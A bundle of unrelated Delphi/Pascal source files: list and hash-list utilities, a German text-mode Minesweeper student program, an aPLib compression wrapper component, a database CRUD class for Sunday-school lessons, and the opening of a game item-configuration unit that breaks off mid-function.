begin
AssertCapacity( Count + 1 );
Result := Count;
string( fList[Count] ) := Value;
inc( fCount );
end;
procedure TStrList.Delete( Indx : integer );
begin
assert( (Indx >= 0) and (Indx < Count), 'Invalid index in TStrList.Delete' );
if ItemsOwned
then string( fList[Indx] ) := '';
if Indx < fCount - 1
then inc( fHoles )
else dec( fCount );
end;
function TStrList.GetItem( Indx : integer ) : string;
begin
assert( (Indx >= 0) and (Indx < Capacity), 'Indx out of range in ListUtils.TStrList.GetItem' );
Result := string( fList[Indx] );
end;
procedure TStrList.SetItem( Indx : integer; const Value : string );
begin
assert( (Indx >= 0) and (Indx < Capacity), 'Indx out of range in ListUtils.TStrList.SetItem' );
if Count <= Indx
then fCount := Indx + 1;
string( fList[Indx] ) := Value;
end;
procedure TStrList.Remove( const Value : string );
begin
Delete( IndexOf( Value ) );
end;
procedure TStrList.Insert( Indx : integer; const Value : string );
begin
assert( (Indx >= 0) and (Indx <= Count), 'Invalid index in TStrList.Insert' );
if fList[Indx] = nil
then Items[Indx] := Value
else
begin
AssertCapacity( Count + 1 ); // Make sure there's space for one more
System.Move( fList[Indx + 1], fList[Indx], ( Count - Indx + 1 ) * sizeof( fList[0] ) );
end;
end;
function TStrList.IndexOf( const Value : string ) : integer;
var
i : integer;
begin
i := 0;
while ( i < Count ) and (Items[i] <> Value) do
inc( i );
if i < Count
then Result := i
else Result := -1;
end;
// TInterfaceList
procedure TInterfaceList.Move( OldIndx, NewIndx : integer );
begin
if Assigned( fList[NewIndx] ) and ( NewIndx < OldIndx ) // Adjust the shift that occurs if item is
then inc( OldIndx ); // inserted before the
Insert( NewIndx, Items[OldIndx] );
Delete( OldIndx );
end;
function TInterfaceList.Add( const Value : IUnknown ) : integer;
begin
AssertCapacity( Count + 1 );
Result := Count;
IUnknown( fList[Count] ) := Value;
inc( fCount );
end;
procedure TInterfaceList.Delete( Indx : integer );
begin
assert( (Indx >= 0) and (Indx < Count), 'Invalid index in TInterfaceList.Delete' );
if ItemsOwned
then IUnknown( fList[Indx] ) := nil;
if Indx < fCount - 1
then inc( fHoles )
else dec( fCount );
end;
function TInterfaceList.GetItem( Indx : integer ) : IUnknown;
begin
assert( (Indx >= 0) and (Indx < Capacity), 'Indx out of range in ListUtils.TInterfaceList.GetItem' );
Result := IUnknown( fList[Indx] );
end;
procedure TInterfaceList.SetItem( Indx : integer; const Value : IUnknown );
begin
assert( (Indx >= 0) and (Indx < Capacity), 'Indx out of range in ListUtils.TInterfaceList.SetItem' );
if Count < Indx
then fCount := Indx;
IUnknown( fList[Indx] ) := Value;
end;
procedure TInterfaceList.Remove( const Value : IUnknown );
begin
Delete( IndexOf( Value ) );
end;
procedure TInterfaceList.Insert( Indx : integer; const Value : IUnknown );
begin
assert( (Indx >= 0) and (Indx <= Count), 'Invalid index in TInterfaceList.Insert' );
if fList[Indx] = nil
then Items[Indx] := Value
else
begin
AssertCapacity( Count + 1 ); // Make sure there's space for one more
System.Move( fList[Indx + 1], fList[Indx], ( Count - Indx + 1 ) * sizeof( fList[0] ) );
end;
end;
function TInterfaceList.IndexOf( const Value : IUnknown ) : integer;
var
i : integer;
begin
i := 0;
while ( i < Count ) and (Items[i] <> Value) do
inc( i );
if i < Count
then Result := i
else Result := -1;
end;
// TIntegerList
procedure TIntegerList.Move( OldIndx, NewIndx : integer );
begin
if Assigned( fList[NewIndx] ) and ( NewIndx < OldIndx ) // Adjust the shift that occurs if item is
then inc( OldIndx ); // inserted before the
Insert( NewIndx, Items[OldIndx] );
Delete( OldIndx );
end;
procedure TIntegerList.Pack;
begin
// Do nothing
end;
function TIntegerList.Add( Value : integer ) : integer;
begin
AssertCapacity( Count + 1 );
Result := Count;
fList[Count] := pointer( Value );
inc( fCount );
end;
procedure TIntegerList.Delete( Indx : integer );
begin
assert( (Indx >= 0) and (Indx < Count), 'Invalid index in TIntegerList.Delete' );
if Indx < fCount - 1
then System.Move( fList[Indx + 1], fList[Indx], ( Count - Indx - 1 ) * sizeof( fList[0] ) );
dec( fCount );
end;
function TIntegerList.GetItem( Indx : integer ) : integer;
begin
assert( (Indx >= 0) and (Indx < Capacity), 'Indx out of range in ListUtils.TIntegerList.GetItem' );
Result := integer( fList[Indx] );
end;
procedure TIntegerList.SetItem( Indx : integer; Value : integer );
begin
assert( (Indx >= 0) and (Indx < Capacity), 'Indx out of range in ListUtils.TIntegerList.SetItem' );
if Count < Indx
then fCount := Indx;
fList[Indx] := pointer( Value );
end;
procedure TIntegerList.Remove( Value : integer );
begin
Delete( IndexOf( Value ) );
end;
procedure TIntegerList.Insert( Indx : integer; Value : integer );
begin
assert( (Indx >= 0) and (Indx <= Count), 'Invalid index in TIntegerList.Insert' );
if fList[Indx] = nil
then Items[Indx] := Value
else
begin
AssertCapacity( Count + 1 ); // Make sure there's space for one more
System.Move( fList[Indx + 1], fList[Indx], ( Count - Indx + 1 ) * sizeof( fList[0] ) );
end;
end;
function TIntegerList.IndexOf( Value : integer ) : integer;
var
i : integer;
begin
i := 0;
while ( i < Count ) and (Items[i] <> Value) do
inc( i );
if i < Count
then Result := i
else Result := -1;
end;
// THashList
procedure THashedList.Move( OldIndx, NewIndx : integer );
begin
raise Exception.Create( 'I know this is a patch, but can''t call THashedList.Move!!' );
end;
constructor THashedList.Create;
begin
end;
destructor THashedList.Destroy;
begin
end;
procedure THashedList.ReallocItems( OldCount, NewCount : integer );
begin
end;
procedure THashedList.MoveItems( OldIndx, NewIndx, Count : integer );
begin
System.Move( fList[OldIndx], fList[NewIndx], Count * sizeof( fList[0] ) );
System.Move( fList[OldIndx], fList[NewIndx], Count * sizeof( fList[0] ) );
end;
function THashedList.GetName( Indx : integer ) : string;
begin
assert( (Indx >= 0) and (Indx < Capacity), 'Indx out of range in ListUtils.THashList.GetName' );
Result := string( fList[Indx] );
end;
procedure THashedList.SetName( Indx : integer; const Value : string );
begin
assert( (Indx >= 0) and (Indx < Capacity), 'Indx out of range in ListUtils.THashList.SetName' );
if Count <= Indx
then fCount := Indx + 1;
string( fList[Indx] ) := Value;
end;
procedure THashedList.Remove( const Name : string );
begin
Delete( IndexOf( Name ) );
end;
function THashedList.IndexOf( const Name : string ) : integer;
var
i : integer;
begin
i := 0;
while ( i < Count ) and (Name[i] <> Name) do
inc( i );
if i < Count
then Result := i
else Result := -1;
end;
// TPointerHash
function TPointerHash.GetValue( Indx : integer ) : pointer;
begin
Result := nil;
end;
procedure TPointerHash.SetValue( Indx : integer; Value : pointer );
begin
end;
function TPointerHash.GetItem( const Name : string ) : pointer;
begin
Result := nil;
end;
procedure TPointerHash.SetItem( const Name : string; Value : pointer );
begin
end;
procedure TPointerHash.RemoveValue( Value : pointer );
begin
end;
function TPointerHash.Add( const Name : string; Value : pointer ) : integer;
begin
AssertCapacity( Count + 1 );
Result := Count;
string( fList[Count] ) := Name;
fValues[Count] := Value;
inc( fCount );
end;
procedure TPointerHash.Delete( Indx : integer );
begin
assert( (Indx >= 0) and (Indx < Count), 'Invalid index in TPointerHash.Delete' );
if ItemsOwned
then string( fList[Indx] ) := '';
if Indx < fCount - 1
then inc( fHoles )
else dec( fCount );
end;
// TObjectHash
function TObjectHash.GetValue( Indx : integer ) : TObject;
begin
Result := nil;
end;
procedure TObjectHash.SetValue( Indx : integer; Value : TObject );
begin
end;
function TObjectHash.GetItem( const Name : string ) : TObject;
begin
Result := nil;
end;
procedure TObjectHash.SetItem( const Name : string; Value : TObject );
begin
end;
procedure TObjectHash.RemoveValue( Value : TObject );
begin
end;
function TObjectHash.Add( const Name : string; Value : TObject ) : integer;
begin
AssertCapacity( Count + 1 );
Result := Count;
string( fList[Count] ) := Name;
fValues[Count] := Value;
inc( fCount );
end;
procedure TObjectHash.Delete( Indx : integer );
begin
assert( (Indx >= 0) and (Indx < Count), 'Invalid index in ListUtils.TObjectHash.Delete' );
if ItemsOwned
then string( fList[Indx] ) := '';
if Indx < fCount - 1
then inc( fHoles )
else dec( fCount );
end;
end.
|
{
Programmname: Befreiungsaufgabe
Befreiungsaufgabe PS1 WS 2012
Minesweeper in Pascal ohne GUI, nur Textausgabe.
Author: Gerrit Paepcke
Erstelldatum: 9.11.2012
Bisherige Änderungen: keine
}
program befreiungsaufgabe;
uses
SysUtils, crt, Ulogic, Udisplay;
type
Screen = (Index,Settings,Highscore,Game);
Key = (left,right,up,down,enter,space,back);
var
gamescore : array[0..2] of Score; // Highscore, 0 = 1. Platz, 1 = 2. Platz,2 = 3. Platz
// Generelle Variablen zur Programmsteuerung
current_screen : Screen = Index; // Derzeitige Anzeige
selected_index : Byte = 1; // Index zur Menüauswahl
exit : boolean = false; // Prüf Var zum Programmexit
input : char; // Letzter Eingabetaste
pressed_key : Key; // Ausgewertete Eingabe
x,y,i : integer; // Zählvariablen für Schleifen
// Variablen für den Spielbetrieb
bomb_count, flagged_fields : Word; // Anzahl der Bomben/Flaggen auf dem Spielfeld
bomb_percentage : Byte = 16; // (10 Bomben bei 8x8 Spielfeld, Standartwert für Schwierigkeit "Leicht" im normalen Minesweeper)
curser_x,curser_y : Byte; // Aktuelle Position des Cursers im Spielfeld
highscore_name : String[50]; // Inputwert für den Highscore
// Variablen zur Zeitmessung
gamestart_time,gameend_time,gameduration : double; // in sec
begin
Udisplay.showIndexScreen(selected_index);
// Initialisierung der Highscore mit Standartwerten
gamescore[0].Name:='Unknown';
gamescore[0].Time:=999999.99;
gamescore[1].Name:='Unknown';
gamescore[1].Time:=999999.99;
gamescore[2].Name:='Unknown';
gamescore[2].Time:=999999.99;
repeat
// Eingabe Auswertung
input := ReadKey;
case input of
#0:
begin
input := ReadKey;
case input of
'H': pressed_key:=up;
'P': pressed_key:=down;
'K': pressed_key:=left;
'M': pressed_key:=right;
end;
end;
#8: pressed_key:=back;
'b': pressed_key:=back;
#13: pressed_key:=enter;
' ': pressed_key:=space;
// Keys für Geräte ohne Pfeiltasten
'w': pressed_key:=up;
'a': pressed_key:=left;
's': pressed_key:=down;
'd': pressed_key:=right;
end;
// Wohin soll die Eingabe geleitet werden
case current_screen of
Index:
begin
case pressed_key of
enter: // Auswahl bestätigen
begin
case selected_index of
1: // Neues Spiel
begin
bomb_count := Round((((Ulogic.CMax_X-Ulogic.CMin_X+1)*(Ulogic.CMax_Y-Ulogic.CMin_Y+1))/100)*bomb_percentage);
Ulogic.generateSpielfeld(bomb_count);
flagged_fields := 0;
gamestart_time := Ulogic.getTimeInSec();
curser_x := Ulogic.CMin_X;
curser_y := Ulogic.CMin_Y;
Udisplay.showGameScreen(curser_x,curser_y,bomb_count,flagged_fields,Ulogic.getTimeInSec()-gamestart_time);
current_screen := Game;
end;
2: // Highscore anzeigen
begin
Udisplay.showHighscoreScreen(gamescore);
current_screen := Highscore;
end;
3: // Einstellungen
begin
selected_index := 1;
Udisplay.showSettingsScreen(selected_index, bomb_percentage);
current_screen := Settings;
end;
4: // Programm schliessen
begin
exit := true;
end;
end;
end;
up: // Auswahl nach oben
begin
if selected_index-1 > 0 then
selected_index := selected_index -1;
Udisplay.showIndexScreen(selected_index);
end;
down: // Auswahl nach unten
begin
if selected_index+1 < 5 then
selected_index := selected_index +1;
Udisplay.showIndexScreen(selected_index);
end;
end;
end;
Settings:
begin
case pressed_key of
left: // Ändern der Settings nach links
begin
case selected_index of
1:
begin
if (bomb_percentage-1 > 0) then
bomb_percentage := bomb_percentage-1;
end;
end;
Udisplay.showSettingsScreen(selected_index, bomb_percentage);
end;
right: // Ändern der Settings nach rechts
begin
case selected_index of
1:
begin
if (bomb_percentage+1 <= 100) then
bomb_percentage := bomb_percentage+1;
end;
end;
Udisplay.showSettingsScreen(selected_index, bomb_percentage);
end;
up: // Auswahl nach oben
begin
if selected_index-1 > 0 then
selected_index := selected_index -1;
Udisplay.showSettingsScreen(selected_index, bomb_percentage);
end;
down: // Auswahl nach unten
begin
if selected_index+1 < 2 then
selected_index := selected_index +1;
Udisplay.showSettingsScreen(selected_index, bomb_percentage);
end;
back: // Zurück zum Hauptmenü
begin
Udisplay.showIndexScreen(selected_index);
current_screen := Index;
end;
end;
end;
Highscore:
begin
case pressed_key of
back: // Zurück zum Hauptmenü
begin
Udisplay.showIndexScreen(selected_index);
current_screen := Index;
end;
end;
end;
Game:
begin
case pressed_key of
space: // Feld aufdecken
begin
case Spielfeld[curser_x,curser_y] of
fdBombe: // Bombe wurde gefunden
begin
gameend_time := Ulogic.getTimeInSec();
gameduration := gameend_time - gamestart_time;
UDisplay.showGameScreen(curser_x,curser_y,bomb_count,flagged_fields,gameduration,true);
gotoxy(1,2);
writeln('Verloren! Deine Zeit: '+FloatToStrF(gameduration,ffFixed,10,2)+'s');
writeln('Bitte druecke Enter, um zum Hauptmenu zurueckzukehren');
readln;
current_screen := Index;
Udisplay.showIndexScreen(selected_index);
end;
fdFlagge_mBombe: // Flagge entfernen
begin
Ulogic.Spielfeld[curser_x,curser_y] := fdBombe;
flagged_fields := flagged_fields-1;
Udisplay.showGameScreen(curser_x,curser_y,bomb_count,flagged_fields,Ulogic.getTimeInSec()-gamestart_time);
end;
fdFlagge_oBombe: //Flagge entfernen
begin
Ulogic.Spielfeld[curser_x,curser_y] := fdVerborgen;
flagged_fields := flagged_fields-1;
Udisplay.showGameScreen(curser_x,curser_y,bomb_count,flagged_fields,Ulogic.getTimeInSec()-gamestart_time);
end;
fdVerborgen: // Feld aufdecken
begin
Ulogic.unhideField(curser_x,curser_y);
Udisplay.showGameScreen(curser_x,curser_y,bomb_count,flagged_fields,Ulogic.getTimeInSec()-gamestart_time);
// Prüfung auf Spielgewinn
i := 0;
for x:=Ulogic.CMin_X to Ulogic.CMax_X do
begin
for y:=Ulogic.CMin_Y to Ulogic.CMax_Y do
begin
if (Ulogic.Spielfeld[x,y] = fdVerborgen) or (Ulogic.Spielfeld[x,y] = fdFlagge_oBombe) then
begin
i := i+1;
end;
end;
end;
if (i = 0) then
begin
gameend_time := Ulogic.getTimeInSec();
gameduration := gameend_time - gamestart_time;
Udisplay.showStandartHeader();
writeln('Gewonnen! Deine Zeit: '+FloatToStrF(gameduration,ffFixed,10,2)+'s');
// Wurde die Highscore geschlagen?
if (gamescore[0].Time > time) then
begin
writeln;
writeln('Du hast die Highscore geschlagen und bist nun auf Platz 1!');
write('Gebe daher nun deinen Namen ein: ');
readln(highscore_name);
gamescore[2] := gamescore[1];
gamescore[1] := gamescore[0];
gamescore[0].Name := highscore_name;
gamescore[0].Time:= gameduration;
end
else if (gamescore[1].Time > time) then
begin
writeln;
writeln('Du hast die Highscore geschlagen und bist nun auf Platz 2!');
write('Gebe daher nun deinen Namen ein: ');
readln(highscore_name);
gamescore[2] := gamescore[1];
gamescore[1].Name := highscore_name;
gamescore[1].Time:= gameduration;
end
else if (gamescore[2].Time > time) then
begin
writeln;
writeln('Du hast die Highscore geschlagen und bist nun auf Platz 3!');
write('Gebe daher nun deinen Namen ein: ');
readln(highscore_name);
gamescore[2].Name := highscore_name;
gamescore[2].Time:= gameduration;
end;
writeln;
writeln('Bitte druecke Enter, um zum Hauptmenu zurueckzukehren');
readln();
current_screen := Index;
Udisplay.showIndexScreen(selected_index);
end;
end;
end;
end;
enter: // Feld markieren
begin
case Ulogic.Spielfeld[curser_x,curser_y] of
fdBombe: {Flagge setzen}
begin
Spielfeld[curser_x,curser_y] := fdFlagge_mBombe;
flagged_fields := flagged_fields+1;
Udisplay.showGameScreen(curser_x,curser_y,bomb_count,flagged_fields,Ulogic.getTimeInSec()-gamestart_time);
end;
fdVerborgen: {Flagge setzen}
begin
Ulogic.Spielfeld[curser_x,curser_y] := fdFlagge_oBombe;
flagged_fields := flagged_fields+1;
Udisplay.showGameScreen(curser_x,curser_y,bomb_count,flagged_fields,Ulogic.getTimeInSec()-gamestart_time);
end;
fdFlagge_mBombe: {Flagge entfernen}
begin
Ulogic.Spielfeld[curser_x,curser_y] := fdBombe;
flagged_fields := flagged_fields-1;
Udisplay.showGameScreen(curser_x,curser_y,bomb_count,flagged_fields,Ulogic.getTimeInSec()-gamestart_time);
end;
fdFlagge_oBombe: {Flagge entfernen}
begin
Ulogic.Spielfeld[curser_x,curser_y] := fdVerborgen;
flagged_fields := flagged_fields-1;
Udisplay.showGameScreen(curser_x,curser_y,bomb_count,flagged_fields,Ulogic.getTimeInSec()-gamestart_time);
end;
end;
end;
up: // Auswahl nach oben
begin
if curser_y > CMin_Y then
curser_y := curser_y -1;
Udisplay.showGameScreen(curser_x,curser_y,bomb_count,flagged_fields,Ulogic.getTimeInSec()-gamestart_time);
end;
down: // Auswahl nach unten
begin
if curser_y < CMax_Y then
curser_y := curser_y +1;
Udisplay.showGameScreen(curser_x,curser_y,bomb_count,flagged_fields,Ulogic.getTimeInSec()-gamestart_time);
end;
left: // Auswahl nach links
begin
if curser_x > CMin_X then
curser_x := curser_x -1;
Udisplay.showGameScreen(curser_x,curser_y,bomb_count,flagged_fields,Ulogic.getTimeInSec()-gamestart_time);
end;
right: // Auswahl nach rechts
begin
if curser_x < CMax_X then
curser_x := curser_x +1;
Udisplay.showGameScreen(curser_x,curser_y,bomb_count,flagged_fields,Ulogic.getTimeInSec()-gamestart_time);
end;
back: // Spiel abbrechen - zurück zum Hauptmenü
begin
Udisplay.showIndexScreen(selected_index);
current_screen := Index;
end;
end;
end;
end;
until exit = true
end.
|
(*
* aPLib compression library - the smaller the better :)
*
* Delphi interface to aPLib Delphi objects
*
* Copyright (c) 1998-2004 by Joergen Ibsen / Jibz
* All Rights Reserved
*
* http://www.ibsensoftware.com/
*)
unit aPLibv;
interface
uses
Windows, SysUtils, Classes, aPLib;
const
aP_pack_break : DWORD = 0;
aP_pack_continue : DWORD = 1;
aPLib_Error : DWORD = DWORD(-1);
type
TaPLib = class(TComponent)
private
FWorkMem: Pointer;
FLength: DWORD;
FSource: Pointer;
FDestination: Pointer;
public
CallBack: TaPack_Status;
procedure Pack;
procedure DePack;
property Source: Pointer read FSource write FSource;
property Destination: Pointer read FDestination write FDestination;
property Length: DWORD read FLength write FLength;
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('Samples', [TaPLib]);
end;
procedure TaPLib.Pack;
begin
if FDestination <> nil then
begin
FreeMem(FDestination);
FDestination := nil;
end;
if FWorkMem <> nil then
begin
FreeMem(FWorkMem);
FWorkMem := nil;
end;
GetMem(FDestination, _aP_max_packed_size(FLength));
if FDestination = nil then
raise Exception.Create('Out of memory');
GetMem(FWorkMem, _aP_workmem_size(FLength));
if FWorkMem = nil then
raise Exception.Create('Out of memory');
FLength:= _aP_pack(FSource^, FDestination^, FLength, FWorkMem^, CallBack, nil);
if FLength = aPLib_Error then
raise Exception.Create('Compression error');
end;
procedure TaPLib.DePack;
var
DLength : DWORD;
begin
if FDestination <> nil then
begin
FreeMem(FDestination);
FDestination:= nil;
end;
DLength:= _aPsafe_get_orig_size(FSource^);
if DLength = aPLib_Error then
raise Exception.Create('File is not packed with aPLib');
Getmem(FDestination, DLength);
if FDestination = nil then
raise Exception.Create('Out of memory');
FLength:= _aPsafe_depack(FSource^, FLength, FDestination^, DLength);
if FLength = aPLib_Error then
raise Exception.Create('Decompression error');
end;
end.
|
unit cCadEbdAula;
interface
uses System.Classes, Vcl.Controls,
Vcl.ExtCtrls, Vcl.Dialogs, FireDAC.Comp.Client, System.SysUtils;
// LISTA DE UNITS
type
TAula = class
private
// VARIAVEIS PRIVADA SOMENTE DENTRO DA CLASSE
ConexaoDB: TFDConnection;
F_codigo: Integer;
F_cod_classe: Integer;
F_cod_congregacao: Integer;
F_qtd_biblias: Integer;
F_qtd_revista: Integer;
//F_cod_congregacao: Integer;
//F_cod_congregacao: Integer;
public
constructor Create(aConexao: TFDConnection); // CONSTRUTOR DA CLASSE
destructor Destroy; override; // DESTROI A CLASSE USAR OVERRIDE POR CAUSA
function Inserir: Boolean;
function Atualizar: Boolean;
function Apagar: Boolean;
function Selecionar(id: Integer): Boolean;
published
// VARIAVEIS PUBLICAS UTILAIZADAS PARA PROPRIEDADES DA CLASSE
// PARA FORNECER INFORMAÇÕESD EM RUMTIME
property codigo: Integer read F_codigo
write F_codigo;
// property funcao: string read F_funcao
// write F_funcao;
// property cod_departamento: Integer read F_cod_departamento
// write F_cod_departamento;
// property nome_departamento: string read F_nome_departamento
// write F_nome_departamento;
end;
implementation
{$REGION 'Constructor and Destructor'}
constructor TAula.Create;
begin
ConexaoDB := aConexao;
end;
destructor TAula.Destroy;
begin
inherited;
end;
{$ENDREGION}
{$REGION 'CRUD'}
function TAula.Apagar: Boolean;
var
Qry: TFDQuery;
begin
if MessageDlg('Apagar o Registro: ' + #13 + #13 + 'Código: ' +
IntToStr(F_codigo) + #13 + 'Descrição: ' ,
mtConfirmation, [mbYes, mbNo], 0) = mrNO then
begin
Result := false;
Abort;
end;
Try
Result := True;
Qry := TFDQuery.Create(nil);
Qry.Connection := ConexaoDB;
Qry.SQL.Clear;
Qry.SQL.Add('DELETE FROM tb_ebd_aula WHERE codigo=:codigo');
Qry.ParamByName('codigo').AsInteger := F_codigo;
try
ConexaoDB.StartTransaction;
Qry.ExecSQL;
ConexaoDB.Commit;
except
ConexaoDB.Rollback;
Result:=false;
end;
Finally
if Assigned(Qry) then
FreeAndNil(Qry)
End;
end;
function TAula.Atualizar: Boolean;
var
Qry: TFDQuery;
begin
try
Result := True;
Qry := TFDQuery.Create(nil);
Qry.Connection := ConexaoDB;
Qry.SQL.Clear;
Qry.SQL.Add('UPDATE igreja.tb_funcao '+
' SET funcao=:funcao, cod_departamento=:cod_departamento, nome_departamento=:nome_departamento '+
' WHERE cod_funcao=:cod_funcao');
Qry.ParamByName('cod_funcao').AsInteger := F_codigo ;
// Qry.ParamByName('funcao').AsString := F_funcao;
// Qry.ParamByName('cod_departamento').AsInteger := F_cod_departamento ;
// Qry.ParamByName('nome_departamento').AsString := F_nome_departamento;
try
ConexaoDB.StartTransaction;
Qry.ExecSQL;
ConexaoDB.Commit;
except
ConexaoDB.Rollback;
Result:=false;
end;
finally
if Assigned(Qry) then
FreeAndNil(Qry)
end;
end;
function TAula.Inserir: Boolean;
var
Qry: TFDQuery;
begin
try
Result := True;
Qry := TFDQuery.Create(nil);
Qry.Connection := ConexaoDB;
Qry.SQL.Clear;
Qry.SQL.Add('INSERT INTO tb_ebd_aula '+
' (dta_aula, cod_classe, qtd_biblias, qtd_revistas, trimestre, '+
' cod_congregacao, nro_licao, titulo_licao, titulo_revista) '+
' VALUES(:dta_aula, :cod_classe, :qtd_biblias, :qtd_revistas, :trimestre '+
' ,:cod_congregacao, :nro_licao, :titulo_licao, :titulo_revista);');
//Qry.ParamByName('funcao').AsString := F_funcao;
// Qry.ParamByName('cod_departamento').AsInteger := F_cod_departamento ;
//Qry.ParamByName('nome_departamento').AsString := F_nome_departamento;
try
ConexaoDB.StartTransaction;
Qry.ExecSQL;
ConexaoDB.Commit;
except
ConexaoDB.Rollback;
Result:=false;
end;
finally
if Assigned(Qry) then
FreeAndNil(Qry)
end;
end;
function TAula.Selecionar(id: Integer): Boolean;
var
Qry: TFDQuery;
begin
try
Result := True;
Qry := TFDQuery.Create(nil);
Qry.Connection := ConexaoDB;
Qry.SQL.Clear;
Qry.SQL.Add('SELECT cod_funcao, funcao, cod_departamento, nome_departamento '+
' FROM tb_funcao where cod_funcao=:cod_funcao ');
Qry.ParamByName('cod_funcao').AsInteger := id;
try
Qry.Open;
// Self.F_cod_funcao := Qry.FieldByName('cod_funcao').AsInteger;
// Self.F_funcao := Qry.FieldByName('funcao').AsString;
// Self.F_cod_departamento := Qry.FieldByName('cod_departamento').AsInteger;
// Self.F_nome_departamento := Qry.FieldByName('nome_departamento').AsString;
Except
Result := false;
end;
finally
if Assigned(Qry) then
FreeAndNil(Qry)
end;
end;
{$ENDREGION}
end.
|
unit UItems;
interface
{TODO: Modify Map, to store items as NPCs in separate section, needs CItem and CItemList involvement}
{DONE -cПредметы -oApromix : Добавить разрушаемость для экипировки и их починку}
uses
Classes, SysUtils, Graphics, Controls, Types,
// self-made units
UConfig, UCommon;
type
NItemParam = (
// basic
ipID, ipGender, ipImageIndex, ipCost, ipType, ipAdvType, ipDollID, ipSound,
// modifiable, adding element - inbetween ipTough and ipCount
ipTough, ipCount,
// bonus
ipStrength, ipDexterity, ipStamina, ipMagic, ipSpirit,
// damage modifiers
ipDamageCrash, ipDamageSlash, ipDamagePierce, ipDamageIce,
ipDamageLightning, ipDamageFire, ipDamagePoison, ipDamageAcid,
// protect modifiers
ipProtectCrash, ipProtectSlash, ipProtectPierce, ipProtectIce,
ipProtectLightning, ipProtectFire, ipProtectPoison, ipProtectAcid,
// requirements
ipNeedLevel, ipNeedStrength, ipNeedDexterity, ipNeedStamina, ipNeedMagic,
ipNeedSpirit,
// strings
ipName, ipDescription, ipScript, ipHint);
const
ModifiableItemParamsStart = ipTough;
ModifiableItemParamsEnd = ipCount;
ModifiableItemParams = [ModifiableItemParamsStart..ModifiableItemParamsEnd];
ItemMax = 256;
type
TBaseItem = record
IntProps: array[ipID..Pred(ipName)] of Integer;
TextProps: array [ipName..High(NItemParam)] of string;
end;
TItemConfig = class(TConfig)
private
protected
function GetItem(Index: Integer; Param: NItemParam): string;
procedure SetItem(Index: Integer; Param: NItemParam; const Value: string);
function GetWItem(Index, Param: Integer): string; override;
procedure SetWItem(Index, Param: Integer; const Value: string); override;
function GetParamCnt: Integer; override;
function GetParamName(Param: Integer): string; override;
public
property Items[Index: Integer; Param: NItemParam]: string read GetItem write SetItem; default;
function IDString(Index: Integer; Param: NItemParam): string;
function GetRandDefText(): string;
end;
CItem = class(THODObject)
private
public
Deleted: Boolean;
X, Y, ID: Integer;
constructor Create(AX, AY: Integer; AID: Integer = 0); overload;
constructor Create(AString: string); overload;
procedure Edit(AX, AY, AID: Integer);
function ToString(): string;
function ToPoint(): TPoint;
class procedure Split(Astr: string; out AX, AY, AID: Integer);
end;
CItemList = class(TObjList)
private
function GetItem(Index: Integer): CItem;
procedure SetItem(Index: Integer; const Value: CItem);
public
function Add(const Value: CItem): Integer;
function Find(AX, AY: Integer; FindPrm: NFindParam = fpNumber): Integer;
function FindItemByID(ID: Integer): CItem;
property Items[Index: Integer]: CItem read GetItem write SetItem; default;
function GetText(AX, AY: Integer): string;
end;
{TODO: Add priority to text columns and other}
const
ItemsMapSectionName = '[Items]';
DefaultTextSection = 'Default';
Delim = '|';
ItemParamColWidths: array[NItemParam] of Integer = (
20, 20, 20, 20, 20, 20,
20, 20, 20, 20, 20, 20,
20, 20, 20, 20, 20,
20, 20, 20, 20, 20,
20, 20, 20, 20, 20,
20, 20, 20, 20, 20,
20, 20, 20, 20, 20,
192, 100, 100, 100);
ItemParamColCount = Ord(High(NItemParam)) + 1;
ItemParamType: array[NItemParam] of NParamType = (
npInteger, npInteger, npImageId, npInteger, npInteger, npInteger,
npInteger, npInteger, npInteger, npInteger, npInteger, npInteger,
npInteger, npInteger, npInteger, npInteger, npInteger,
npInteger, npInteger, npInteger, npInteger, npInteger,
npInteger, npInteger, npInteger, npInteger, npInteger,
npInteger, npInteger, npInteger, npInteger, npInteger,
npInteger, npInteger, npInteger, npInteger, npInteger,
npString, npString, npString, npString);
function ItemConfig(): TItemConfig;
function ItemList(): CItemList;
var
ItemParamNames: array[NItemParam] of string;
function BaseItems(Index: Integer): TBaseItem;
implementation
uses
uUtils, uIni, TypInfo;
var
TheItemList: CItemList;
TheItemConfig: TItemConfig;
function ItemConfig(): TItemConfig;
begin
Result := TheItemConfig;
end;
function ItemList(): CItemList;
begin
Result := TheItemList;
end;
{ TItemConfig }
function TItemConfig.GetItem(Index: Integer; Param: NItemParam): string;
begin
if Param = ipId then
Result := IntToStr(Index)
else
Result := FWrapper.ReadString(IDString(Index, Param));
end;
function TItemConfig.GetParamCnt: Integer;
begin
Result := ItemParamColCount;
end;
function TItemConfig.GetParamName(Param: Integer): string;
begin
Result := ItemParamNames[NItemParam(Param)];
end;
function TItemConfig.GetRandDefText: string;
begin
Result := Wrapper.ReadString(DefaultTextSection + Wrapper.Delim +
IntToStr(Random(Wrapper.GetChildCount(DefaultTextSection))));
end;
function TItemConfig.GetWItem(Index, Param: Integer): string;
begin
Result := Items[Index, NItemParam(Param)];
end;
function TItemConfig.IDString(Index: Integer; Param: NItemParam): string;
begin
Result := Format('%d%s%s', [Index, FWrapper.Delim, ItemParamNames[Param]]);
end;
procedure TItemConfig.SetItem(Index: Integer; Param: NItemParam;
const Value: string);
begin
if Param <> ipId then
FWrapper.WriteString(IDString(Index, Param), Value);
end;
procedure TItemConfig.SetWItem(Index, Param: Integer; const Value: string);
begin
Items[Index, NItemParam(Param)] := Value;
end;
{ CItem }
constructor CItem.Create(AX, AY, AID: Integer);
begin
inherited Create();
X := AX;
Y := AY;
ID := AID;
end;
constructor CItem.Create(AString: string);
begin
inherited Create();
Split(AString, X, Y, ID);
end;
procedure CItem.Edit(AX, AY, AID: Integer);
begin
X := AX;
Y := AY;
ID := AID;
end;
class procedure CItem.Split(Astr: string; out AX, AY, AID: Integer);
var
sl : Tstringlist;
begin
sl := Tstringlist.Create;
try
sl.Delimiter := delim;
sl.DelimitedText := AStr;
Ax := StrToIntDef(sl[0], 0);
Ay := StrToIntDef(sl[1], 0);
AID := StrToIntDef(sl[2], 0);
finally
sl.Free;
end;
end;
function CItem.ToPoint: TPoint;
begin
Result := Point(x, y);
end;
function CItem.ToString: string;
begin
Result := Format('%d%s%d%s%d', [X, delim, Y, delim, ID]);
end;
{ CItemList }
function CItemList.Add(const Value: CItem): Integer;
begin
Result := inherited Add(Value);
end;
function CItemList.Find(AX, AY: Integer; FindPrm: NFindParam = fpNumber): Integer;
var
j: Integer;
begin
Result := -1;
for j := 0 to Count - 1 do
if (Items[j].X = AX) and (Items[j].Y = AY) then
begin
case FindPrm of
